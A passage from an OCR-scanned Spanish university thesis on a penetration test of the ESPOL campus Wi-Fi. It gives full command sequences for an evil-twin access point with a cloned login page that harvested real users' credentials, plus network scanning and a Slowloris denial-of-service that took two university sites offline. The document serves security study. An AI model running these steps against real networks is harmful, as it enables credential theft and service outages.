1191 NetworkManager

1209 wpa_supplicant

28994 dhclient

Process with PID 28994 (dhclient) is running on interface wlan®

Interface Chipset Driver

wlang Atheros athsk - [phya]
(monitor mode enabled on mon@)

Figura 3.1 Creacion de interfaz en modo monitor
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Pudimos visualizar la creacién de la nueva interfaz con el

comando ifconfig que muestra informacién general de las

interfaces de red del sistema. (Ver Figura 3.2)

monod

wlan@

Link encap:UNSPEC HwWaddr ©0-25-D3-F4-3A-36-30-30-00-00-00-00-00-00-00-00
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:445 errors:0 dropped:© overruns:0 frame:®

TX packets:0 errors:0 dropped:® overruns:® carrier:@

collisions:0 txqueuelen:1000

RX bytes:103336 (103.3 KB) TX bytes:0 (0.0 B)

Link encap:Ethernet HwWaddr 00:25:d3:f4:3a:36

inet addr:200.126.24.182 Bcast:200.126.27.255 Mask:255.255.252.0
inet6 addr: fe80::225:d3ff:fef4:3a36/64 Scope:Link

UP BROADCAST RUNNING MTU:1560 Metric:1

RX packets:16527 errors:0 dropped:0 overruns:0 frame:®

TX packets:15898 errors:© dropped:0@ overruns:0 carrier:0
collisions:0 txqueuelen:1000

RX bytes:13398295 (13.3 MB) TX bytes:2318976 (2.3 MB)

Figura 3.2 Interfaz monO creada a partir de wlan0

Se utilizod esta interfaz virtual para captar las ondas de los

puntos de acceso a nuestro alrededor mediante el comando:

airodump-ng monQ

La tarjeta de red comenzd a escanear el ambiente en busca

de sefiales inalambricas dando como resultado lo que muestra

la Figura 3.3.
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€H 1 ][ Elapsed: 1 min ][ 20612-12-13 28:11

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

©0:21:08:C1:088:B1 -57 1001 2] @ 1 G5d4e. WPA TKIP PSK CIB_laptop
88:21:08: BB -57 1003 ] 8 1 54 . OPN ESPOL
88:23:5E: -88 419 3 8 1 54 . OPN ESPOL
86:23:5E: -88 419 ® 8 1 54e. WPA TKIP PSK CIB_laptop
09:21:D8: -89 69 ® @ 1 54e. WPA TKIP PSK CIB_laptop
86:21:08: -98 65 ] 8 1 54 . OPN ESPOL
00:00:00 -88 i 0 0 188 -1 <length: @=
66:21:08: -91 1 8 11 54 . OPN ESPOL
B84:09:82: - -85 2 <] @ 6 54e. WPA2Z CCMP  PSK LEMAT
86:22:55:0C:68:81 -78 2 [:] 8 11 54e. WPA TKIP PSK CIB_laptop
66:22:55:6C:68:80 -78 3 2 @ 11 54 . OPN ESPOL
BSSID STATION PWR  Rate Lost Packets Probes
©0:21:08:C1:08:80 ©00:25:D3:F4:3A:36 8 54 -54 L] 79
©0:21:08:92:86:10 1C:66:AAET:4D:BF -1 5-8 L] 1

Figura 3.3 Puntos de acceso disponibles en el medio

Se pudo apreciar que habia cinco puntos de acceso con el
ESSID ESPOL. Con herramientas normales de conexion
Inalambrica en Windows por ejemplo solo apareceria una sola
vez la red ESPOL. Con este programa podemos ver todos los
puntos de acceso con ese nombre asi como identificar si se
estan enviando datos a sus clientes. EI mas cercano tiene una
potencia de -57 dBm y el mas lejano -91 dBm. Vemos que
unos operan en el canal 1 y otros en el canal 11 del espectro
de frecuencia. Esta diferencia de canales como se indicé
anteriormente tiene la finalidad de evitar la interferencia entre

los puntos de acceso.
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Puntos de acceso ocultos

Segun la documentacién de Aircrack-ng disponible en la web,
los puntos de acceso ocultos los podemos identificar mediante
<lenght: ?> en la columna ESSID, donde “?” es un numero
que representa la cantidad de caracteres del SSID. Esta es
una forma de darle seguridad a una red ya de esta manera es
invisible para los usuarios y solamente acceden quienes

conocen el nombre. [30]

Hay maneras de conocer el nombre de una red oculta con
Aircrack-ng. En este caso hemos encontrado uno (Ver Figura
3.3) pero no fue objeto de estudio debido a que ya se habia

identificado la red a atacar que era ESPOL.

Tipo de seguridad presente

Segun los datos de analisis de la salida del comando vimos
que la red inaldmbrica ESPOL a simple vista era abierta y no
contaba con ningun tipo de seguridad ya que en la columna
ENC aparecia como OPN (significa red abierta segun la

pagina web de Aircrack-ng Suite). Esto es engafioso ya que
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realmente si cuenta con seguridad WPA-EAP mediante un
servidor RADIUS. Nos pudimos dar cuenta de esto porque
luego de conectarnos al punto de acceso y querer acceder a
una pagina web se nos solicitd un nombre de usuario y
contrasefa para una autenticacion. La herramienta Aircrack-ng
no nos mostré el verdadero tipo de seguridad ya que esta s6lo
identifica puntos de acceso con seguridad WEP y WPA-PSK.

[30]

3.2.4. Clientes conectados

En la parte de abajo de la salida del comando (Ver Figura 3.3)
observamos también un listado de que clientes intentaron
conectarse a que puntos de acceso. No necesariamente estan
conectados en ese momento. Intuyendo de que un cliente esta
conectado  pudimos  haber lanzado ataques de
desautenticacion al SSID del cliente, para obligarlo a volver a
conectarse a la red. Esto podria ser aprovechado para que al
conectarse nuevamente lo haga en un punto de acceso falso

con el mismo nombre de ESPOL.
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3.3. Penetracion por la red inalambrica

Una vez escaneados los puntos de acceso e identificado el objetivo
de ataque se procedid a intentar entrar a la red con todos los
servicios que esta otorga. De esta manera estariamos conectados
como si de un usuario legitimo se tratase suplantando su identidad.
Para esto nos valimos de una técnica de ingenieria social que

engafia al usuario proporcionandonos sus credenciales de conexion.

3.3.1. Red no protegida

En una red no protegida o red abierta no existe ninguna
medida de seguridad para restringir el acceso a los usuarios.
Estos pueden conectarse a la red e inmediatamente recibir
todos los servicios que se proporcionan. La red ESPOL no es
una red abierta por tanto no es el caso y no entré en nuestro

estudio.

3.3.2. Red protegida

El ataque que realizamos en esta red protegida consistié en la

creacion de un Punto de Acceso falso que tuvo como ESSID
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ESPOL. Se hizo esto para que cuando un cliente se conecte a
este punto de acceso se le provea una direccion IP y al
momento de hacer una peticion HTTP esta sea reenviada a
una pagina clonada de la interfaz web de autenticacion del
servidor RADIUS de ESPOL enganando de esta manera al
usuario. Cuando la victima escriba su nombre de usuario y
contrasena y envie los datos del formulario, capturariamos esa
informacion y asi habriamos logrado conseguir credenciales

validas para acceder a la red.

Primeramente se configurd el servidor DHCP para proveer a
los usuarios de direcciones IP cuando se conecten a nuestro
punto de acceso. En este caso usamos el servidor llamado
dhcp3. El archivo de configuracion es /etc/dhcp3/dhcpd.conf

(Ver Anexo D).

Luego configuramos un servidor DNS para redireccionar al
usuario a nuestro servidor local donde tendremos la interfaz
web clonada. Para este efecto se usé la utilidad dnsmasq. En
el archivo de configuracion /etc/dnsmasq.conf se ingresaron

las lineas
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interface=at0

address=/#/ 192.168.20.1

La interfaz at0 es la del punto de acceso falso que cuando se
cred mas adelante tomo6 este nombre. La segunda linea de
configuracion significa que toda peticion HTTP, cualquiera que
sea, se vaya directamente a la direccion IP 192.168.20.1 que
es la que se le configuro al punto de acceso falso en pasos

posteriores ya que aqui se alojo la interfaz web clonada.

Se reinicid el servidor DNS con /etc/init.d/dnsmasq restart.
Ahora como ya teniamos nuestra interfaz mon0 creada
anteriormente, se procedio a crear el AP falso con el nombre
ESPOL y canal 11 (Ver Anexo E para ver una captura de la

actividad del punto de acceso al iniciar).

airbase-ng -e ESPOL -c 11 -v mon0 &

Luego se levantd la interfaz y se le asigné direcciéon IP y

puerta de enlace con los comandos:

ifconfig at0 up
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ifconfig at0 192.168.20.1 netmask 255.255.255.0
route add -net 192.168.20.0 netmask 255.255.255.0 gw

192.168.20.1

Luego se activo el reenvio de paquetes entre la interfaz del AP
y nuestra conexion a internet y activamos la traduccion NAT
del punto de acceso. Esto nos sirve en el caso que queramos
que la victima tenga acceso a internet por medio de nuestro

AP. Para realizar esto se ejecuto el siguiente comando:

echo "1" > /proc/sys/net/ipv4/ip_forward

iptables -t nat -A POSTROUTING -o wlan0 - MASQUERADE

Luego creamos un enlace simbdlico al proceso del servicio de
DHCP para evitar errores al iniciar el servicio e iniciamos el
servidor en la interfaz del punto de acceso (Ver Anexo F para
observar una captura del inicio del servidor DHCP). Para esto

se utilizaron los comandos

In -s /var/run/dhcp3-server/dhcpd.pid /var/run/dhcpd.pid

dhcpd3 -d -f -cf /etc/dhcp3/dhcpd.conf at0 &
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Luego se procedié a clonar la interfaz web de autenticacion
mediante una herramienta llamada SET (Kit de Herramientas
de Ingenieria Social). Esta herramienta tiene muchas
utilidades y entre una de ellas esta la de clonar paginas web.
La web del servidor de autenticacion de la ESPOL para la red
inalambrica y la cual fue duplicada corresponde la direccion

https://wifi.espol.edu.ec/fs/customwebauth/login.html .

Se inici6 la aplicacion y se siguio los pasos mostrados por la
misma herramienta en su interfaz para clonar una pagina web,

llegando a lo que muestra la figura 3.4.

1) Web Templates
2) site Cloner
3) Custom Import

99) Return to Webattack Menu ——————

sel:webattack>2

[-] Credential harvester will allow you to utilize the clone capab‘z‘l‘tﬁ?s-ml.'n-in--
SET

[-] to harvest credentials or parameters from a website as well as place in
to a report

[-] This option is used for what IP the server will POST to.

[-]1 If you're using an external IP, use your external IP for this
set:webattack> IP address for the POST back in Harvester/Tabnabbing:192.168.20.1
[-] SET supports both HTTP and HTTPS

[-] Example: http://www.thisisafakesite.com

set:webattack> Enter the url to clone:https://wifi.espol.edu.ec/fs/customwebauth

/login.html
[*] Cloning the jwsbs htt s/cu T
[*] This coutdQ &ttle

Ir

The best way to use this attack is if username and passwi§rd form
fields are available. Regardless, this captures all POSTs on a website.
[!] I have read the above message.

Press =return= to continue
[*] Social-Engineer Toolkit Credential Harvester Attack

[*] Credential Harvester is running on port 8@
[*] Information will be displayed to you as it arrives below:

Figura 3.4 Interfaz para clonar paginas web. SET
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Para esto se debid especificar la direccion IP con el cual se
accede a la web clonada y la URL de la pagina a clonar.
Luego de esto SET quedd a la espera de que un usuario
ingrese sus datos y los envie. La pagina en cuestion es

mostrada en la Figura 3.5.

@ s [@ 192.168.20.1 v €| [Wqve Q) &

¥BackTrack Linux [jjOffensive Security KBExploit-DB WyAircrack-ng g SomaFM

CONEXION A LA RED DE ESPOL DIGITAL
Username [
Password |

SIS

Figura 3.5 Interfaz web de autenticacion clonada

Luego de algunos minutos ciertos usuarios se conectaron al
AP falso e intentaron autenticarse en la web clonada
pensando que era sitio oficial. Cuando esto sucedi6 SET
capturd el nombre de usuario y contrasefia mostrandolo en su
interfaz tal y como se puede apreciar en la Figura 3.6. De esta
manera ya tuvimos acceso a la red con credenciales validas.

(Ver Anexo G para observar otra credencial capturada)
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192.168.20.18 - - [23/Nov/2012 12:15:36] "GET / HTTR/1.1" 208 -
192.168.20.19 - - [23/Nov/20812 12:16:18] "GET / HTTP/1.1" 280 -
[#] WE GOT A HIT! Printing the output:

PARAM: buttonClicked=4

PARAM: redirect url=

PARAM: err_flag=8

POSSIBLE USERNAME FIELD FOUND: username=cl\%

POSSIBLE PASSWORD FIELD FOUND: password=1822

[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.

Figura 3.6 Captura de credenciales



CAPITULO 4

4. METODOLOGIA DE ATAQUE DENTRO DE LA RED

En este capitulo se describe como se llevaron a cabo métodos de ataque
dentro de la red interna, la cual se logré penetrar por medio de técnicas
de ingenieria social. Se obtuvo informacion de los dispositivos de red
como computadores personales y servidores DNS mediante un escaneo
profundo de la red para luego lanzar vectores de ataque que midan el

nivel de seguridad que presentan.

4.1. Escaneo de la red interna

Existen herramientas para explorar la red en busca de dispositivos
conectados. Uno de ellas se llama nmap y su interfaz grafica
Zenmap. Segun Gordon Lyon en su libro NMAP Network Scanning,
‘“Nmap es una herramienta de cdédigo abierto usado para la

exploracién de la red y auditorias de seguridad”. [26]
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Existen varias opciones al realizar un escaneo dependiendo de lo

que se desee hallar.

Obtener las direcciones IP de los hosts que estan activos en la
red para luego poder realizar un diagrama logico de la red.
Consultar que puertos se encuentran abiertos y los servicios
que estan en ejecucion para luego investigar que
vulnerabilidades se pueden explotar para dichos servicios.
Identificar el sistema operativo que corresponden a cada uno
de los hosts.

Escanear un host especifico, luego de haberlo encontrado, en
busca de vulnerabilidades ya reportadas por el fabricante y

que no se han tomado las medidas necesarias para mitigarlas.

Con Zenmap se realizé un escaneo de la red 200.126.24.0/22 que es

la que proporciona el punto de acceso cuando se establece la

conexion. Por medio de varias opciones del comando nmap se

encontré algunos datos de los hosts conectados en ella. La linea de

comando utilizada fue:

nmap -sS -T4 -0 -v 200.126.24.0/22
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Donde la opcién —sS permite hacer un escaneo de tipo SYN a los
puertos, la opcion —O permite averiguar el sistema operativo del host
y las opciones —T4 y —v permiten utilizar plantillas de tiempo y darle
verbosidad al proceso de escaneo respectivamente. Estas opciones

fueron tomadas de la ayuda del comando por medio de nmap —h.

El escaneo SYN es conocido como un escaneo sigiloso ya que envia
paquetes SYN hacia los puertos del host como si fuera a comenzar
una conexion real pero verdaderamente no se completa. Esto le da
rapidez al escaneo y evita que el intento de conexidn quede
registrado en el objetivo. Al enviar un paquete SYN, si se recibe un
paquete ACK/SYN entonces el puerto esta abierto, si es un paquete
RST entonces el puerto esta cerrado, y si no se recibe respuesta
alguna después de algunas retransmisiones o si se recibe un error de

tipo ICMP no alcanzable entonces el puerto se encuentra filtrado [26].

4.1.1. Hosts activos

La Figura 4.1 muestra la lista de hosts activos que se
encontraron durante el escaneo de la red. Aqui se puede

apreciar que direcciones IP se encontraban conectadas en ese
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momento. Estos resultados pueden cambiar dependiendo del
momento en que se lleve a cabo el escaneo, ya que los
clientes de la red inalambrica luego se desconectan, pero los
dispositivos que pertenecen a la administracion de la red como
enrutadores y servidores siempre estaran activos. (Para ver el

resultado completo vea el Anexo H1y H2).

Hosts ]| Services

05 4 Host 4
host-200-126-27-180.espol.edu.ec (200.126.27 180)

host-200-126-27-178 espol.edu.ec (200126.27.178)
host-200-126-27-177 espol.edu.ec (200126.27.177)
host-200-126-27-176.espol.edu.ec (200.126.27.176)
host-200-126-27-175.espol.edu.ec (200.126.27.175)
host-200-126-27-170.espol.edu.ec (200.126.27.170)
host-200-126-27-168, espol.edu.ec (20012627 168)
host-200-126-27-166.espol.edu.ec (200.126.27 166)

m

TEEEEEEE®E

Figura 4.1. Host Activos Zenmap

4.1.2. Puertos y servicios

Entre los puertos y servicios que corren los hosts activos se
pudo identificar aquellos que cuentan con servicios http, https,
ftp y otros mas. La figura 4.2 muestra ciertos servicios
encontrados en algunos hosts. (Para ver el resultado completo

vea el Anexo 1)
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Hosts ” Services ] | Nmap Qutput| Ports/ Hosts |Topo|ogy| Host Detailsl Scans|
a——— - 1 Hostname “ Port 4 Protos
apex-mesh ©  host-200-126-24-166.espol.edu.ec (200.126.24,166) 135 tcp
apple-xsrvr-admin ©  host-200-126-27-143 espol.edu.ec (200.126.27.143) 135 tcp
ceproxy-http @  host-200-126-27-151 .espol.edu.ec (200.126.27.151) 135 tcp
cdfunc @  host-200-126-27-152.espol.edu.ec (200.126.27.152) 135 tcp
dvs @  host-200-126-27-155.espol.edu.ec (200.126.27.155) 135 tcp
flexlm0 @  host-200-126-27-159.espol.edu.ec (200.126.27.153) 135 tcp
ftp-data @  host-200-126-27-163.espol.edu.ec (200.126.27.163) 135 tcp

Figura 4.2. Puertos y servicios, Nmap

4.1.3. Identificacion del sistema operativo de los hosts

En el escaneo realizado se detectd el tipo de sistema
operativo que corre en los hosts con un cierto nivel de
precision cada uno. Esta informacion es muy util para intuir y
buscar las vulnerabilidades que pueden presentarse en ese
sistema. La figura 4.3 muestra el sistema operativo detectado

en un host y su nivel de precision.

- Addresses
IPv4: 200.126.24.2

IPv6: Not available
MAC: 00:23:04:7D:E3:67
- Hostnames
Name - Type: host-200-126-24-2.espol.edu.ec - PTR

- Operating System
Name: Cisco 4402 wireless LAN controller

+ Ports used

Figura 4.3. Deteccion de Sistema operativo, Zenmap
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Identificacion del dispositivo inalambrico

Revisando los resultados del escaneo se observd que la
herramienta Zenmap detecta Cisco 4402 Wireless LAN
Controller como si fuera el sistema operativo del host
200.126.24.2, a pesar que no lo es. Se observd que este host
contaba con puertos abiertos como el 22 que corresponde al
servicio de SSH, el 443 que pertenece al protocolo HTTPS y el
16113 que es utilizado en este dispositivo Cisco por el
protocolo de servicios de movilidad. (Ver estos resultados en
Anexo J1 y Anexo J2). Con estos datos se puede intuir que
todos los puntos de acceso de la ESPOL estan administrados

por este dispositivo que controla la red inalambrica.

Diagrama de la red

Se realizé un diagrama logico de la red mediante resultados
obtenidos a través de un analisis de paquetes con Wireshark,
para averiguar el servidor DHCP junto con la puerta de enlace
y los servidores DNS, escaneos con nmap para hallar el
controlador inalambrico WLC y la herramienta nslookup para

resolver nombres de dominio (Ver Anexo K y Anexo L para
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consultar los resultados). La Figura 4.3 muestra el diagrama

l6gico que soélo pretende ser una guia general de la manera en

que esta implementada la red inalambrica.

1
sidweb espal. eduec

Red Inalambrica
200.12624.022
.\ 200.10..I 50.103 E' Interfaz virtual
E 1

200.126.24 2122

1 - wic.espol.eduec
) \ \ wifi.espoleduec : g
cli.espol.edu.e | 2002]%_150_12 192-‘153-50-1 —
200.10.150.250% \ Ssfvidor DH WLC
SenidorDHCP | / CISCO W
hY 1
! | /
1
(I 20012624 1/22 | ”
=
Red cableej_q m _u
R Enmutador Conmutadar Punto de Acceso
T~ ClsCo ESSID: ESPOL .
\ S [ol:1els] (
\ ~. L
N ‘ﬁgwidores DHNS
\\ .

W .

192188592  192188.50.45

Figura 4.4. Diagrama de la red inalambrica

4.1.6. Escaneo de vulnerabilidades

Una vez identificados los componentes de la red se procedio a
realizar un escaneo de vulnerabilidades de los dispositivos de
administracién de la red mediante Nessus, el cual incorpora

una larga base de datos de vulnerabilidades conocidas que

pueden ser identificadas en las direcciones IP que se
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especifiquen. Este programa se ejecuté usando un tipo de

suscripcion llamado HomeFeed".

Entre los terminales escaneados esta la puerta de enlace que
corresponde a la IP 200.126.24.1. Este host es de marca
CISCO y no presentd ninguna vulnerabilidad conocida que
pueda poner en riesgo el dispositivo y en consecuencia la red

(Ver Figura 4.5).

Vulnerability Summary Sort Options Filter Vulnerabilities

Ethernet Card Manufacturer Detection 1
Host Fully Qualified Domain Name (FQDN) Resolution 1
Inconsistent Hostname and IP Address 1

Nessus Scan Information 1

Figura 4.5. Reporte de vulnerabilidad del enrutador

El dispositivo WLC de Cisco, que controla los puntos de
acceso, solamente accesible por SSH con la IP 200.126.24.2,
también se sometié a un escaneo mostrando vulnerabilidades
medias y bajas con respecto al protocolo SSL como muestra

la Figura 4.5.

'la suscripcion HomeFeed de Nessus es gratuita y estd disponible para uso personal en ambientes
pequefios para escaneos de hasta 16 direcciones IP.
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Vulnerability Summary Sort Options Filter Vulnerabilities

S| SSL Medium Strength Cipher Suites Supported General 1

SSL Version 2 (v2) Protocol Detection Senice detection 1

SSL Weak Cipher Suites Supported General 1

ﬁ SSL RC4 Cipher Suites Supported General 1

Figura 4.6. Reporte de vulnerabilidad del WLC

El host 200.10.150.12 que corresponde al servidor DHCP de
la red inalambrica y al host wifi.espol.edu.ec utilizado para la
autenticacion del usuario presentd vulnerabilidades medias vy
bajas a nivel de protocolo SSL y DHCP. En la Figura 4.7 se

muestra el reporte.

Vulnerability Summary Sort Options Filter Vulnerabilities

S5L Medium Strength Cipher Suites Supported Geneara 1

SSL Version 2 (v2) Protocol Detection

SSL Weak Cipher Suites Supported General 1

DHCP Server Detection Service detection 1

SSL RC4 Cipher Suites Supported General 1

Figura 4.7. Reporte de vulnerabilidad del servidor DHCP
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Los servidores DNS que corresponden a las IPs 192.188.59.2
y 192.188.59.45, presentaron vulnerabilidades medias
respecto a sus servicios DNS como se muestra en la Figura

4.8.

Vulnerability Summary Sort Options Filter Vulnerabilities

DNS Server Cache Snooping Remate Information Disclosure 2

DNS Server Recursive Query Cache Poisoning Weakness 2

TG | DNS Server Spoofed Request Amplification DDoS 2

Figura 4.8. Reporte de vulnerabilidad de servidores DNS

Se realizd un escaneo de vulnerabilidades en dos los
servidores de produccion del que fueron el CTl y SIDWeb. Las
figuras 4.9 y 4.10 muestran los resultados obtenidos

respectivamente.
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200.10.150.250

W Apache HTTP Server hitpOnly Cockie Information Disclosure
W HTTP TRACE / TRACK Methods Allowed

W Multiple Web Server printeny CGl Information Disclosure
W SEL Certificate Cannot Be Trusted

ﬁ S3L Certificate Expiry

W SSL Certificate Signed using Weak Hashing Algorithm
W S3L Medium Strength Cipher Suites Supported
W SSL Self-Signed Certificate

55L Version 2 (v2) Protocol Detection

m FTP Supports Clear Text Authentication

Knowledge Base Q
Web Servers i 2l
Web Servers L 2
CGlabuses 2
General L 1
General L 1
General | 1
General L 1
General | 4
Service detection i 4
General L 1
FTP 1

Figura 4.9. Reporte de vulnerabilidad de CTI

200.10.150.103

W HTTP TRACE / TRACK Methods Allowed

SSL Medium Strength Cipher Suites Supported
W SSL Version 2 (v2) Protocol Detection
W SSL Weak Cipher Suites Supported

TLS CRIME Vulnerability

S5L RC4 Cipher Suites Supported
- Service Detection

HTTP Server Type and Verzion

HyperText Transfer Protocol (HTTP) Information

ﬁ Apache HTTP Server hitpOnly Cookie Information Disclosure

Knowledge Base Q

Web Servers | 2
Web Servers I il
General | 1
Service detection -
General .. 1
General '. d
General 1
Service detection | 4
Web Servers | 5)
Web Servers .. 3

Figura 4.10. Reporte de vulnerabilidad de CTI
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4.2. Ataque al dispositivo inalambrico

El dispositivo que controla los puntos de acceso de manera
centralizada es el llamado “Controlador de Redes Inalambricas” de
CISCO, como se vio en el subcapitulo anterior. Este elemento tiene
una interfaz de administracion tanto Web como SSH. Para ambos
casos se probaron formas de ataque como ruptura de contrasefa vy
explotacion de vulnerabilidades segun los resultados obtenidos
anteriormente para analizar el nivel de seguridad que presenta. Si
bien la direccion IP de este dispositivo es 200.126.24.2, este cuenta
ademas con otra direccién IP accesible de igual forma desde la red

inalambrica. Esta es 192.168.50.1.

4.2.1. Ruptura de contrasenas de administracion

Se hicieron pruebas de ruptura de contrasefias para el WLC
con los valores predeterminados que son usuario admin vy
contrasena admin [46] sin lograr acceso. También se usaron
herramientas conocidas como Hydra y Cisco Audtiting Tool en
Backtrack para romper contraseias por medio de ataques de
fuerza bruta en la que con la ayuda de un diccionario, que no

es mas que un archivo que contiene una lista de posibles
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contrasefnas, se prueban cada una de ellas hasta coincidir con

la verdadera. Estos ataques no tuvieron éxito.

4.2.2. Explotacién de vulnerabilidades

En el WLC no se encontraron vulnerabilidades criticas que
puedan ser explotadas con scripts o programas especializados
publicados en Internet. Las vulnerabilidades encontradas

fueron de nivel medio.

4.2.3. Ataques del tipo hombre en el medio

Los ataques de este tipo no fueron posibles ya que la interfaz
de administracion web, accesible con la IP 192.168.50.1, se
encontraba en otra subred. Ademas Ila interfaz de
administracion SSH por medio de la red 200.126.24.0/22 no es
utilizada para su gestion por lo que no se invirti6 tiempo en

este apartado.

4.3. Ataque a otros servidores

Si bien no existieron vulnerabilidades de alto nivel en el escaneo, se

realizaron pruebas de seguridad mediante ataques de Denegacion
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de Servicio (DoS). Este ataque consiste en interrumpir un servicio de
tal forma que no esté disponible para los usuarios [47]. En este caso
se intentd colapsar el servicio web de algunos dominios dentro de la

ESPOL resultando afectados los siguientes:

cti.espol.edu.ec

sidweb.espol.edu.ec

La herramienta que se utiliz6 se denomina Slowloris (disponible en
http://ha.ckers.org/slowloris/slowloris.pl) que es un programa escrito
en lenguaje Perl por Robert Hansen y consiste en inundar el servidor
victima con conexiones HTTP hasta saturarlo y dejarlo fuera de
servicio. El ataque tuvo éxito de manera que estas paginas web
cesaron sus servicios durante el tiempo de duracidén que se permitié
el ataque. El dominio cti.espol.edu.ec soportd alrededor de 1013
conexiones, y el dominio sidweb.espol.edu.ec alrededor de 1021

conexiones.

El comando que se utilizo fue el siguiente:

perl ./slowloris —dns dominio —options
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donde la opcidén dns significa que se especificara el host de la
victima llamado domain que fue reemplazado en este caso por
cti.espol.edu.ec y luego por sidweb.espol.edu.ec. La opcion options
es una opcion propia del comando perl al ejecutar el script. La figura
4.11 y 4.12 muestra el proceso en la generacion de conexiones al

servicio Web tanto del CTl como del SIDWeb respectivamente.

.......... B :1€oCCCCCCC08800008000CCo0CL o0
:0CC00000C00CCOCCCoCCOCOCE:
.€00€000CCOCO: : :

sccoccec:co
1€CCC:Co00|
icciiiicoq

Welcome to Slowloris - the low TTP client
Unknown option: options
pefaulting to port 8©.
Defaulting to a 5 second tcp connection timeout.
Defaulting to a 100 second re-try timeout.
Defaulting to 1086 connections.
Multithreading enabled.
Connecting to cti.espol.edu.ec:88 every 5 seconds with 1000 sockets:
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Sending data.
Current stats: Slowloris has now sent 398 packets successfully.
This thread now sleeping for 5 seconds...

Building sockets.

Building sockets.

Building sockets.

Building sockets.

Building sockets.

Building sockets.

Building sockets.

Sending data.
Current stats: Slowloris has now sent 1013 packets successfully.
This thread now sleeping for 5 seconds...

Figura 4.11. Ataque DoS al CTI
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Defaulting to a 100 second re-try timeout.

Defaulting to 1000 connections.

Multithreading enabled.

[Connecting to sidweb.espol.edu.ec:80 every 5 seconds with 1000 sockets:
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building seckets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Sending data.

Current stats: Slowloris has now sent 979 packets successfully.

IThis thread now sleeping for 5 seconds...

Building sockets.

Sending data.
Current stats: Slowloris has now sent 1021 packets successfully.
IThis thread now sleeping for 5 seconds...

Building sockets.

Sending data.
Current stats: Slowloris has now sent 1075 packets successfully.
IThis thread now sleeping for 5 seconds...

Building sockets.
[~C

Figura 4.12. Ataque DoS al SIDWeb

La figura 4.13 y 4.14 muestra la conexion fallida al intentar entrar a la
pagina del CTl y a la de SIDWeb respectivamente. Cabe destacar
que si se cae el protocolo HTTP por ende también lo hara el

protocolo HTTPS.

« C [ wwwatiespoleduec

Oops! Google Chrome could not connect to
‘www.cti.espol.edu.ec

Try reloading: www.cti.espol.edu.ec

Figura 4.13. Sitio web cti.espol.edu.ec inaccesible



vivew.sidweb.espol.edu.ec

Figura 4.14. Sitio web cti.espol.edu.ec inaccesible
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CAPITULO 5

5. ANALISIS EXPERIMENTAL DE VULNERABILIDADES

El analisis de los ataques que se han llevado a cabo, permite identificar el
por qué son posibles dichos ataques y la manera en que estos funcionan
explicando su mecanismo y los conceptos en los que estan basados. Esto
ayuda a entender el origen de las fallas de seguridad y a implementar

medidas conscientes de mitigacién para los administradores de red.
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5.1. Informacién obtenida por Ingenieria Social

Hicimos algunas llamadas al CSI (Centro de Servicios de
Informacién), donde obtuvimos informacién del servidor de
autentificacion de la red inalambrica ESPOL, asi también informacion
sobre cuantos AP (Puntos de Acceso) tiene el Campus Prosperina en

todas sus instalaciones.

Mediante la ingenieria social basada en computadora se logro
engafar al usuario haciéndole creer que la pagina de autenticacion a
la red inalambrica era la legitima. No se tuvo que hacer uso de
correos electronicos o mensajes de engafios ya que el mismo
sistema de ESPOL nos permitié hacer creible el engafo. Luego de
gue un usuario se conecta mediante un punto de acceso a la red
ESPOL e intenta ingresar a una pagina de internet, inmediatamente
es redirigido a una pagina autenticacion donde debe escribir su
usuario y contrasefa. En nuestro ataque, cuando el usuario se
conecta a nuestro punto de acceso falso ocurre exactamente lo
mismo de tal manera que el usuario desconoce que en realidad el

punto de acceso y la pagina de autenticacion son falsos.
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5.2. Redes inalambricas sin proteccion de acceso administrativo

Existen redes inalambricas que cuentan con puntos de acceso y
dispositivos de control sin una contrasefia de acceso administrativo
hacia ellos. Muchas veces por descuido del personal dejan las
contrasefas por defecto que vienen de fabrica dejando una gran

brecha de seguridad en la administracion de la red.

Se intenté acceder a los dispositivos de control utilizando la
contrasena por omisién del mismo sin obtener resultados favorables,
es decir los administradores han tomado las debidas precauciones

cambiando inmediatamente el acceso por defecto.

5.3. Seguridad WEP

Segun los resultados del escaneo de redes inalambricas, la red
ESPOL no cuenta con un tipo de seguridad WEP en sus puntos de
acceso para la autenticacion de los usuarios. Por esto no fue
necesario utilizar herramientas de ruptura de contrasefias WEP como

lo tiene el mismo Aircrack-ng Suite.
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Contraseias WPA, WPA2 no seguras

La seguridad WPA de la red inalambrica ESPOL no es por medio de
clave compartida, sino por un protocolo de autenticacion extensible.
En el caso de claves compartidas se puede llevar a cabo un ataque
que consiste en capturar el paquete de saludo entre el usuario y el
punto de acceso y averiguar la clave a través de un ataque de fuerza
bruta con diccionario. En el caso de ESPOL que utiliza un protocolo
de autenticacion se necesita saber el nombre de usuario y luego
hallar la contrasefia por lo que se hace algo mas complicado al ser
dos parametros a descubrir. Adicional a esto algunos servidores de
autenticacion tienen un numero maximos de intentos erréneos luego

del cual la cuenta se bloquea.

Seguridad WPS

Segun en el blog de André Gasser en un apartado acerca de la
seguridad WPS indica que para identificar si un punto de acceso
cuenta con esta vulnerabilidad, basta con analizar paquetes con
Wireshark. La figura 5.1 muestra en cuadros rojos lo que debe
tomarse en cuenta para determinar si estad configurada la seguridad
WPS y por ende es vulnerable utilizando la herramienta Reaver de la

que se habldé en un capitulo anterior [42].La red ESPOL no cuenta
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con seguridad WPS de acuerdo a los analisis de paquetes realizados

con la herramienta Wireshark a los puntos de acceso.

Captiriag fram masl  [Wirsakark LE4 [SVH Ass Unknown frem unbreand]
P B Ve On Caplwrs Arshs Slemixy Telphewy Tesls ntwesls Help
a oo g a =] FEf s
mar ot w -
s Semsra D b I
z

Figura 5.1. Analisis WPS con Wireshark [42]

5.6. Suplantacién de identidad

Se suplantd la identidad de un punto de acceso legitimo y se logré
que la victima se conecte al dispositivo de esta forma obtener sus
credenciales de acceso. Esto es posible debido a que las tarjetas de
red funcionando en modo Gestionado al ver varios ESSID identifican

al que tiene mayor potencia de sefal de radio para conectarse [45].
